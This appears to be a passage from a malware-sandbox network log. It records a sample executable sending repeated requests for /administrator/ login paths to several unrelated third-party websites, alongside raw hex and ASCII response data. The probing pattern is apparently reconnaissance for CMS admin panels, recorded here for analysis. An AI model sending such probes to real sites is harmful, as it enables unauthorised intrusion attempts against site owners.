Nov 26, 2023 06:59:30.688462019 CET	1340	IN	Data Raw: 55 77 6c 61 33 6f 63 71 45 45 4b 30 34 66 66 42 5a 53 6f 36 6e 45 74 62 53 71 59 4e 76 78 65 55 54 4f 6d 6c 2f 66 50 4a 35 68 6b 65 79 32 2b 33 4c 55 30 6d 76 61 33 75 71 6c 34 6f 64 6d 33 44 46 6b 70 78 30 47 61 59 6c 77 44 4d 34 36 78 6e 31 2b Data Ascii: Uwla3ocqEEK04ffBZSo6nEtbSqYNvxeUTOml/fPJ5hkey2+3LU0mva3uql4odm3DFkpx0GaYlwDM46xn1+6roqDNKiedkuBV4WtJ6LsrbgEGoz0Ojh0t0Mm0yOmlGTUHtxrxZ7OIVGIzaBgk6S/28K/AjzCgz4KmsqO+3Qyl+w2cFwl46M3sXZJJYOYVLNBUn6WSvpLnUX5WI2tNOWJrRdfMmH4pS5J8vjFLm09C+Q5Qqj3XPjs
Nov 26, 2023 06:59:30.688478947 CET	1340	IN	Data Raw: 57 2b 47 4e 5a 66 38 2b 36 6e 75 6d 75 4c 6a 34 6c 73 31 62 53 4e 4a 64 58 2f 39 66 54 4f 55 6d 45 42 35 38 6c 5a 58 64 58 56 2f 64 70 57 46 54 68 51 30 61 37 57 39 32 36 72 43 71 55 75 49 34 6d 66 72 66 47 69 39 43 61 52 64 6d 4e 38 73 53 75 7a Data Ascii: W+GNZf8+6numuLj4ls1bSNJdX/9fTOUmEB58lZXdXV/dpWFThQ0a7W926rCqUuI4mfrfGi9CaRdmN8sSuzqAF749AacZD6tad0nJpCKb0c82zJP8OxSnUjnocNqZzCYYY2nceWWmfUvGJacIqcofR/ck8EvCSVeyioqq582rBfoqeWVUvuiQrQpspdVT1XQImW/Ue/e7z7S8D0IFSv8u5nuiEM4NTW/3saxqu2UWiQ6JpQm0hKG
Nov 26, 2023 06:59:30.688496113 CET	1340	IN	Data Raw: 4f 78 6a 69 62 39 58 6a 67 35 6e 31 70 4b 51 71 6a 4e 63 36 65 6b 49 6d 68 71 73 4f 6e 69 65 57 5a 71 42 78 41 41 71 4d 51 4b 6f 69 57 56 61 4c 73 39 71 78 4b 37 43 58 5a 39 4d 65 57 35 56 6c 4a 59 67 45 4a 52 6c 65 49 36 76 78 7a 78 53 61 6d 61 Data Ascii: Oxjib9Xjg5n1pKQqjNc6ekImhqsOnieWZqBxAAqMQKoiWVaLs9qxK7CXZ9MeW5VlJYgEJRleI6vxzxSamaPoD2gmbXVq+3/BG+KvWzTbXFtTZcPLJ2SfjfvjIA3RmcleM+ihZfaGTAR2tfHzcxMvXaftcbV/NRL0zDdW5aBsp6cFNmmrCvSuh2cX3G5D09JB6/kn8HpXJtFI9vQWe6GeX9uyynrrSLoYXBc/SgI4GcydnZ2dTQe
Nov 26, 2023 06:59:30.688513041 CET	1340	IN	Data Raw: 48 2f 33 4d 5a 6d 71 4a 2f 58 4a 69 71 66 33 54 47 66 6c 33 2f 45 31 78 62 4a 37 58 34 78 4d 67 39 47 36 51 69 6b 34 78 53 41 69 41 65 4f 44 47 4a 6f 70 67 43 34 4e 54 44 47 4e 2f 47 6b 64 6f 76 31 4b 61 48 4c 77 50 71 36 64 50 41 74 31 72 49 30 Data Ascii: H/3MZmqJ/XJiqf3TGfl3/E1xbJ7X4xMg9G6Qik4xSAiAeODGJopgC4NTDGN/Gkdov1KaHLwPq6dPAt1rI0onmYZ0WJHcl++XG32VDpLD58ldKN7jIG0m4HOi+lnWj6C0EZA2+ySxkcSHtWJ+WyLdaKcjySACSO4wU56QEVEV7zmS/x93GBTKe13LoejB04egRREmx1LRPM53dSJqA9uLINXGz27Nc9MaVLQ1rsnDZXyT/SzzC5x
Nov 26, 2023 06:59:30.870867014 CET	1340	IN	Data Raw: 79 38 68 6f 63 30 62 4c 4a 43 53 43 4a 54 67 4b 4f 52 54 44 6b 64 37 67 4d 30 4e 42 48 41 39 51 2f 75 64 33 66 38 73 77 66 35 78 4d 77 68 34 4b 4f 77 65 65 78 33 69 43 7a 6a 4a 32 55 54 69 70 4a 57 30 71 46 30 58 70 39 76 71 39 76 67 6b 34 73 76 Data Ascii: y8hoc0bLJCSCJTgKORTDkd7gM0NBHA9Q/ud3f8swf5xMwh4KOweex3iCzjJ2UTipJW0qF0Xp9vq9vgk4sv6MONpvSpvUBopqw975WUOdaEvTl8QzUf+rZNrAJnlDaJedxPUKndwo+27w8JkVJfrV4eoMp8PTxxBDjkykoHz71y8z9u/Dtf/t0ElrGUX4tkvkUVFe7mepqPCBdL3+qhOqbFNuEE3j6IHhq5Uj5Uk85zMHnoFj/di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	55274	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.510325909 CET	227	OUT	GET /administrator/ HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.029428959 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.2.34 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://samson.pe/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Sun, 26 Nov 2023 05:59:30 GMT server: LiteSpeed Data Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91 Data Ascii: 22c2}[w8}9n%"[q;89INDB`e[?fyxML$Pr4q4=?(lda97 psQ0\92udd2.DD\|KK&TRY"yKDhdMiD4d:2Rb88ixPIl/)'&!2E[#GybY$$RIc9sa!kF&P0DGG H#2~hQI@0Y%H7.TT.,%\.G#I,o5pMlr2anJA,q/%",PBD0'1fsc\|mU4*hP4!chL.$Iz9%p;%@=xbhiDWi$bN1LNoJ4RBqtXzM.<0H=y"UyG4P(k]$<,$lLhf hN~('!Rud4yYg@L{Y5z58nE23z n0hsCEU;'K#C;B`-77R1't692Uj&i3a?X,%d6!#fp7mx`=-{0V`}z3f
Nov 26, 2023 06:59:31.029551029 CET	1340	IN	Data Raw: 78 16 e3 04 cf 08 07 c2 ca c1 df 5a 7a ca 12 29 f2 f2 38 a5 a2 a5 a4 81 23 49 78 02 56 d4 e2 b5 b8 10 df 5f c5 91 81 94 77 1d b5 8b 18 ed 71 fc 6b c6 4e d0 df 08 09 9b 3d 59 a1 0e c4 99 12 12 3a ca 4d 56 7c 3f 36 75 14 12 14 b0 98 24 12 73 ca c4 Data Ascii: xZz)8#IxV_wqkN=Y:MV\|?6u$sffs%\|u1uCO>IEJb^)i2h?jqQ?:^vms_T)lrvKL20%',R&AD\|t
Nov 26, 2023 06:59:31.029563904 CET	1340	IN	Data Raw: ba a6 ec 80 5d d7 9a 10 40 a7 1d 61 66 66 da ed ae 74 b6 2d e7 24 59 33 8a 29 e3 1d 65 fb 88 26 88 74 2b 83 fb 20 3f 8d c8 07 59 b7 41 dd 65 2b 13 1c 55 80 b5 d4 bd bd 2a 19 8a 6a 73 7e 32 1a 49 50 dd 42 d7 44 ad 44 65 bc ed 18 ab fc 06 ee ee c9 Data Ascii: ]@afft-$Y3)e&t+ ?YAe+U*js~2IPBDDe=aQ?r3E\|{]tWnC8%MNhkvHFzk$aywH\|GlP~tophJvWs3dAV0ih}4Ay5}=rCpH-=WIt_V
Nov 26, 2023 06:59:31.029575109 CET	1340	IN	Data Raw: df aa 46 31 0d 13 70 87 db 69 98 3d d3 f3 8f 4b fc 7d d7 f4 bc 03 d3 1f 6c 68 bd 72 98 62 59 22 c6 51 34 44 5e 2f bd 6a f8 e3 1a 10 8c ae c1 f8 7c 77 1b 54 04 5b e0 43 d4 3b d8 06 74 65 e5 60 7d ff 06 98 48 71 40 93 99 65 f9 ee 10 b9 76 bf cf 49 Data Ascii: F1pi=K}lhrbY"Q4D^/j\|wT[C;te`}Hq@evI`)- }w-[ !m;D=w;D=hQCJ8 RWHu~sKIX3p[J7sr[Y&Vk5\S;{.Ma^p
Nov 26, 2023 06:59:31.029587984 CET	1340	IN	Data Raw: b4 54 9c fc e0 28 9c 80 2d 31 95 e7 2f d5 fd c4 87 30 a7 7c 02 5e 10 c1 e2 fc fc f3 ed 67 45 37 f2 57 47 f6 78 2c e6 da 01 f7 78 08 7f b0 0c 35 9a c7 e3 4e 9d e4 4d f0 e5 83 19 2b 10 3d 1e 6b 31 9e 25 74 4a 03 2b 65 69 f6 70 ed 5b 47 f7 78 6c b2 Data Ascii: T(-1/0\|^gE7WGx,x5NM+=k1%tJ+eip[GxlEd'x\yEdE}X9$SE\|*pU0>%^Gkd{:Imonrk0?_DCsm?lIplfC1:>pMYV'v>(#
Nov 26, 2023 06:59:31.029601097 CET	1340	IN	Data Raw: 76 10 5e ec 15 5e 12 8e 46 28 0f 17 51 25 fd fe 3b fa f0 a9 8a ce 06 9c 75 ba d7 65 be 9d 66 62 de c1 7c a6 c2 4d 88 ee c9 6a 57 81 ec 0b 22 f7 4d b4 0f b3 24 c2 f7 4d 74 6d 84 0c 86 a4 2a b8 62 d9 cf 1a 9f 56 a8 7b a2 8b 18 5f 84 61 22 08 be 02 Data Ascii: v^^F(Q%;uefb\|MjW"M$MtmbV{_a"A:2]i% \g0)ALp%LScV-^!L$DCx`Tt6/\UkC}1\uF5+VR<`<\|
Nov 26, 2023 06:59:31.029613018 CET	1340	IN	Data Raw: c2 b9 c4 d1 65 16 61 01 4c 43 df c7 59 64 41 1c 9f 90 59 09 0e b1 63 8c df 14 b0 db f8 ef f5 1e 93 fd 5e 6f 2b f7 7a 9d 9d 2a 15 b9 50 3b 57 94 89 6d dc 41 4f 55 b3 44 b5 35 54 b3 93 6f b4 b2 e3 ed b2 55 23 88 40 32 c7 18 43 c4 5e 1c c8 ed 06 e6 Data Ascii: eaLCYdAYc^o+z*P;WmAOUD5ToU#@2C^$b5soszv++8$!R<dXw?AMG.M!_ve5,=wvVWnNfVE0;Hog-+#!Q2&)DTtT3dQ#;;f
Nov 26, 2023 06:59:31.029623985 CET	392	IN	Data Raw: 4b c4 2d 4b f2 f5 02 ad 5f 17 45 6a 7c bd 93 4f 89 f4 27 13 d7 27 18 24 35 c6 e8 77 94 cf 24 e0 f8 45 01 5c fc ad 13 29 9e 0b f9 14 ef c5 df b6 f4 66 5a f1 0e ac 01 0d 98 09 c0 18 7c 5c 1b ae c3 28 5b c3 21 f5 a8 76 8c 61 28 be af ce 06 e9 b1 67 Data Ascii: K-K_Ej\|O''$5w$E\)fZ\|$[!va(gb/I]P3`lvoxZ$P~#<lD:+v_4%8zoNg4Lm\]bZ]zC[qT^NMOLM=}\|,O'q+q2Hzdc&>z5YJ$
Nov 26, 2023 06:59:31.033396006 CET	69	IN	Data Raw: 61 0d 0a 03 00 d0 52 74 95 31 7e 00 00 0d 0a Data Ascii: aRt1~
Nov 26, 2023 06:59:31.033432007 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 26, 2023 06:59:31.035351038 CET	278	OUT	GET /administrator/index.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://samson.pe/administrator/
Nov 26, 2023 06:59:31.467067003 CET	447	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.2.34 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://samson.pe/administrator/ content-length: 0 date: Sun, 26 Nov 2023 05:59:31 GMT server: LiteSpeed
Nov 26, 2023 06:59:31.467637062 CET	269	OUT	GET /administrator/ HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://samson.pe/administrator/
Nov 26, 2023 06:59:32.245187044 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.2.34 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://samson.pe/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Sun, 26 Nov 2023 05:59:32 GMT server: LiteSpeed Data Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91 Data Ascii: 22c2}[w8}9n%"[q;89INDB`e[?fyxML$Pr4q4=?(lda97 psQ0\92udd2.DD\|KK&TRY"yKDhdMiD4d:2Rb88ixPIl/)'&!2E[#GybY$$RIc9sa!kF&P0DGG H#2~hQI@0Y%H7.TT.,%\.G#I,o5pMlr2anJA,q/%",PBD0'1fsc\|mU4*hP4!chL.$Iz9%p;%@=xbhiDWi$bN1LNoJ4RBqtXzM.<0H=y"UyG4P(k]$<,$lLhf hN~('!Rud4yYg@L{Y5z58nE23z n0hsCEU;'K#C;B`-77R1't692Uj&i3a?X,%d6!#fp7mx`=-{0V`}z3f
Nov 26, 2023 06:59:32.245201111 CET	1340	IN	Data Raw: 78 16 e3 04 cf 08 07 c2 ca c1 df 5a 7a ca 12 29 f2 f2 38 a5 a2 a5 a4 81 23 49 78 02 56 d4 e2 b5 b8 10 df 5f c5 91 81 94 77 1d b5 8b 18 ed 71 fc 6b c6 4e d0 df 08 09 9b 3d 59 a1 0e c4 99 12 12 3a ca 4d 56 7c 3f 36 75 14 12 14 b0 98 24 12 73 ca c4 Data Ascii: xZz)8#IxV_wqkN=Y:MV\|?6u$sffs%\|u1uCO>IEJb^)i2h?jqQ?:^vms_T)lrvKL20%',R&AD\|t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	55302	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.838399887 CET	240	OUT	GET /administrator/ HTTP/1.1 Host: prettypollycleaning.ae Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.949673891 CET	523	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Server: Apache Location: http://www.prettypollycleaning.ae/administrator/ Content-Length: 256 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 65 74 74 79 70 6f 6c 6c 79 63 6c 65 61 6e 69 6e 67 2e 61 65 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.prettypollycleaning.ae/administrator/">here</a>.</p></body></html>
Nov 26, 2023 06:59:32.434088945 CET	308	OUT	GET /administrator/index.php HTTP/1.1 Host: prettypollycleaning.ae Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.prettypollycleaning.ae/administrator/
Nov 26, 2023 06:59:32.545286894 CET	541	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: http://www.prettypollycleaning.ae/administrator/index.php Content-Length: 265 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 65 74 74 79 70 6f 6c 6c 79 63 6c 65 61 6e 69 6e 67 2e 61 65 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.prettypollycleaning.ae/administrator/index.php">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	55331	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.848351002 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.946676016 CET	538	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 174 Connection: keep-alive Cache-Control: private Location: http://www.perrisesd.org/administrator/ Server: Microsoft-IIS/8.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 3c 62 72 2f 3e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://www.perrisesd.org/administrator/">here</a>.</h2></body></html><br/>perrisesd.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	55332	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:30.848428965 CET	237	OUT	GET /administrator/ HTTP/1.1 Host: svenssonfriends.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.946389914 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-165.ec2.internal X-Request-Id: 81a04949-9058-4c59-ab6f-5d3f787a9479 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
